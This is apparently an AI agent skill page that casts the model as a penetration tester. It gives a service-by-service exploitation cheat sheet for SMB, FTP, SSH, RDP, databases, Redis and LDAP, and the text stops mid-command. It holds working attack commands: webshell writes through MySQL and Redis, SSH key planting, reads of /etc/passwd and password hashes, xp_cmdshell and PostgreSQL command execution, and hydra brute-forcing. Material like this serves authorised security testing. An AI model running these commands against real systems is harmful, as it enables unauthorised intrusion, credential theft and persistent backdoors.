enumerating-network-services
Enumerate and exploit network services including SMB, FTP, SSH, RDP, HTTP, databases (MySQL, MSSQL, PostgreSQL, MongoDB), LDAP, NFS, DNS, and SNMP. Use when testing network service security or performing port-based exploitation.
What this skill does
# Network Service Enumeration Skill You are a network penetration testing expert specializing in service enumeration and exploitation. Use this skill when the user requests help with: - Enumerating network services by port - Exploiting common network services (SMB, FTP, SSH, RDP, etc.) - Database service testing (MySQL, MSSQL, PostgreSQL, MongoDB) - Service-specific vulnerability identification - Banner grabbing and version detection - Network protocol analysis ## Core Methodologies ### 1. Port Scanning and Service Discovery **Nmap Scanning Strategies:** ```bash # Quick TCP scan nmap -sC -sV -oA scan 10.10.10.10 # Full TCP port scan nmap -p- -T4 10.10.10.10 nmap -p- -sV -sC -A 10.10.10.10 -oA full-scan # UDP scan (top 1000) sudo nmap -sU --top-ports 1000 10.10.10.10 # Aggressive scan nmap -A -T4 10.10.10.10 # Specific port scan with scripts nmap -p 445 --script smb-* 10.10.10.10 nmap -p 21 --script ftp-* 10.10.10.10 # Service version detection nmap -sV --version-intensity 9 10.10.10.10 # OS detection sudo nmap -O 10.10.10.10 ``` **Fast Port Scanning:** ```bash # masscan - very fast masscan -p1-65535 10.10.10.10 --rate=1000 # rustscan - fast with nmap integration rustscan -a 10.10.10.10 -- -sC -sV ``` ### 2. SMB/SAMBA (Port 139, 445) **Enumeration:** ```bash # Nmap SMB scripts nmap -p 445 --script smb-protocols 10.10.10.10 nmap -p 445 --script smb-security-mode 10.10.10.10 nmap -p 445 --script smb-enum-shares 10.10.10.10 nmap -p 445 --script smb-enum-users 10.10.10.10 # smbclient - list shares smbclient -L //10.10.10.10 -N smbclient -L //10.10.10.10 -U username # smbmap smbmap -H 10.10.10.10 smbmap -H 10.10.10.10 -u username -p password smbmap -H 10.10.10.10 -u username -p password -R # Recursive listing # enum4linux enum4linux -a 10.10.10.10 enum4linux -U -M -S -P -G 10.10.10.10 # crackmapexec crackmapexec smb 10.10.10.10 crackmapexec smb 10.10.10.10 -u '' -p '' # Null session crackmapexec smb 10.10.10.10 -u username -p password --shares crackmapexec smb 10.10.10.10 -u username -p password --users ``` **Connect to Shares:** ```bash # smbclient smbclient //10.10.10.10/share -U username smbclient //10.10.10.10/share -N # Null session # Mount SMB share mount -t cifs //10.10.10.10/share /mnt/smb -o username=user,password=pass # Download all files recursively smbget -R smb://10.10.10.10/share -U username ``` **SMB Vulnerabilities:** ```bash # EternalBlue (MS17-010) nmap -p 445 --script smb-vuln-ms17-010 10.10.10.10 # Other SMB vulns nmap -p 445 --script smb-vuln-* 10.10.10.10 ``` ### 3. FTP (Port 21) **Enumeration:** ```bash # Connect anonymously ftp 10.10.10.10 # user: anonymous, pass: anonymous # Nmap FTP scripts nmap -p 21 --script ftp-anon 10.10.10.10 nmap -p 21 --script ftp-bounce 10.10.10.10 nmap -p 21 --script ftp-brute 10.10.10.10 # Download all files wget -r ftp://anonymous:[email protected]/ ``` **FTP Commands:** ```bash # In FTP session ls -la cd directory get filename # Download mget * # Download multiple put filename # Upload binary # Set binary mode for binaries ``` ### 4. SSH (Port 22) **Enumeration:** ```bash # Banner grab nc 10.10.10.10 22 nmap -p 22 -sV 10.10.10.10 # Enumerate users ./ssh-user-enum.py --port 22 --userList users.txt 10.10.10.10 # Brute force (use carefully) hydra -l root -P wordlist.txt ssh://10.10.10.10 ``` **SSH Key Auth:** ```bash # Connect with key ssh -i id_rsa [email protected] # Fix key permissions chmod 600 id_rsa # Generate SSH key pair ssh-keygen -t rsa -b 4096 ``` ### 5. HTTP/HTTPS (Port 80, 443, 8080, 8443) **Web Enumeration:** ```bash # Whatweb - identify web technologies whatweb http://10.10.10.10 # Nikto vulnerability scanner nikto -h http://10.10.10.10 # Directory/file bruteforce gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt feroxbuster -u http://10.10.10.10 -w wordlist.txt ffuf -u http://10.10.10.10/FUZZ -w wordlist.txt # DNS subdomain enumeration gobuster dns -d example.com -w subdomains.txt ffuf -u http://FUZZ.example.com -w subdomains.txt # Virtual host discovery gobuster vhost -u http://10.10.10.10 -w vhosts.txt ``` **SSL/TLS Testing:** ```bash # Check SSL certificate openssl s_client -connect 10.10.10.10:443 # SSL vulnerabilities nmap -p 443 --script ssl-* 10.10.10.10 testssl.sh https://10.10.10.10 ``` ### 6. RDP (Port 3389) **Enumeration:** ```bash # Nmap nmap -p 3389 --script rdp-* 10.10.10.10 # Check if RDP is enabled nmap -p 3389 -sV 10.10.10.10 ``` **Connect:** ```bash # rdesktop rdesktop 10.10.10.10 # xfreerdp xfreerdp /u:Administrator /p:password /v:10.10.10.10 xfreerdp /u:user /d:DOMAIN /v:10.10.10.10 ``` **Brute Force:** ```bash # hydra hydra -l administrator -P passwords.txt rdp://10.10.10.10 # crowbar crowbar -b rdp -s 10.10.10.10/32 -u admin -C passwords.txt ``` ### 7. MySQL/MariaDB (Port 3306) **Enumeration:** ```bash # Nmap nmap -p 3306 --script mysql-* 10.10.10.10 # Connect mysql -h 10.10.10.10 -u root -p mysql -h 10.10.10.10 -u root ``` **MySQL Commands:** ```sql -- Show databases SHOW DATABASES; USE database_name; -- Show tables SHOW TABLES; DESCRIBE table_name; -- Read data SELECT * FROM table_name; SELECT user,password FROM mysql.user; -- Read files (requires FILE privilege) SELECT LOAD_FILE('/etc/passwd'); -- Write files SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'; -- Command execution (UDF) SELECT sys_exec('whoami'); ``` ### 8. MSSQL (Port 1433) **Enumeration:** ```bash # Nmap nmap -p 1433 --script ms-sql-* 10.10.10.10 # Connect with impacket mssqlclient.py user:[email protected] mssqlclient.py user:[email protected] -windows-auth # Windows auth ``` **MSSQL Commands:** ```sql -- Version SELECT @@version; -- Databases SELECT name FROM sys.databases; -- Current user SELECT USER_NAME(); SELECT SYSTEM_USER; -- Check if sysadmin SELECT IS_SRVROLEMEMBER('sysadmin'); -- Enable xp_cmdshell EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- Execute commands EXEC xp_cmdshell 'whoami'; ``` ### 9. PostgreSQL (Port 5432) **Connect:** ```bash # psql psql -h 10.10.10.10 -U postgres psql -h 10.10.10.10 -U postgres -d database_name # Nmap nmap -p 5432 --script pgsql-* 10.10.10.10 ``` **PostgreSQL Commands:** ```sql -- List databases \l -- Connect to database \c database_name -- List tables \dt -- Current user SELECT current_user; -- Read files CREATE TABLE demo(t text); COPY demo FROM '/etc/passwd'; SELECT * FROM demo; -- Command execution (requires superuser) DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'whoami'; SELECT * FROM cmd_exec; ``` ### 10. MongoDB (Port 27017) **Enumeration:** ```bash # Nmap nmap -p 27017 --script mongodb-* 10.10.10.10 # Connect mongo 10.10.10.10 mongo 10.10.10.10/database ``` **MongoDB Commands:** ```javascript // Show databases show dbs // Use database use database_name // Show collections show collections // Find documents db.collection.find() db.collection.find().pretty() // Count documents db.collection.count() // Dump all data db.collection.find().forEach(printjson) ``` ### 11. Redis (Port 6379) **Enumeration:** ```bash # Connect redis-cli -h 10.10.10.10 # Nmap nmap -p 6379 --script redis-* 10.10.10.10 ``` **Redis Exploitation:** ```bash # In redis-cli INFO # Server info CONFIG GET dir # Get directory CONFIG GET dbfilename # Write SSH key CONFIG SET dir /root/.ssh/ CONFIG SET dbfilename authorized_keys SET mykey "ssh-rsa AAAA..." SAVE # Write webshell CONFIG SET dir /var/www/html/ CONFIG SET dbfilename shell.php SET mykey "<?php system($_GET['cmd']); ?>" SAVE ``` ### 12. LDAP (Port 389, 636) **Enumeration:** ```bash # Nmap nmap -p 389 --script ldap-* 10.10.10.10 # ldapsearch ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local" ldapsearch -x -H ldap://10.10.10.10 -D "[email protected]" -w password -b "DC=domain,DC=local" # Dump all ldapsearch -x -H ldap://10.10.10.10
Related in Security
mac-ops
IncludedComprehensive macOS workstation operations — diagnose kernel panics, identify failing drives, audit launchd startup items, decode wake reasons, triage TCC permission denials, manage APFS snapshots, recover from no-boot. Use for: Mac is slow, slow bootup, won't boot, kernel panic, kernel_task hot, mds_stores CPU, photoanalysisd, cloudd, login loop, gray screen, sleep wake failure, drive failing, IO errors, APFS snapshots eating space, Time Machine local snapshots, Spotlight indexing, launchd, LaunchAgent, LaunchDaemon, login items, TCC permissions, Full Disk Access, Screen Recording denied, Gatekeeper, quarantine, com.apple.quarantine, app is damaged, helper tool, /Library/PrivilegedHelperTools, pmset, wake reasons, dark wake, sysdiagnose, panic.ips, DiagnosticReports, configuration profile, MDM profile, remote diagnostics over SSH.
a11y-audit
IncludedRun accessibility audits on web projects combining automated scanning (axe-core, Lighthouse) with WCAG 2.1 AA compliance mapping, manual check guidance, and structured reporting. Output is configurable: markdown report only, markdown plus machine-readable JSON, or markdown plus issue tracker integration. Use this skill whenever the user mentions "accessibility audit", "a11y audit", "WCAG audit", "accessibility check", "compliance scan", or asks to check a web project for accessibility issues. Also trigger when the user wants to verify WCAG conformance or map findings to a specific standard (CAN-ASC-6.2, EN 301 549, ADA/AODA).
erpclaw
IncludedAI-native ERP system with self-extending OS. Full accounting, invoicing, inventory, purchasing, tax, billing, HR, payroll, advanced accounting (ASC 606/842, intercompany, consolidation), and financial reporting. 413 actions across 14 domains, 43 expansion modules. Constitutional guardrails, adversarial audit, schema migration. Double-entry GL, immutable audit trail, US GAAP.
assess
IncludedAssesses and rates quality 0-10 across multiple dimensions (correctness, maintainability, security, performance, testability, simplicity) with pros/cons analysis. Compares against project conventions and prior decisions from memory. Produces structured evaluation reports with actionable improvement suggestions. Use when evaluating code, designs, architectures, or comparing alternative approaches.
spring-boot-security-jwt
IncludedProvides JWT authentication and authorization patterns for Spring Boot 3.5.x covering token generation with JJWT, Bearer/cookie authentication, database/OAuth2 integration, and RBAC/permission-based access control using Spring Security 6.x. Use when implementing authentication or authorization in Spring Boot applications.
code-hardcode-audit
IncludedDetect hardcoded values, magic numbers, and leaked secrets. TRIGGERS - hardcode audit, magic numbers, PLR2004, secret scanning.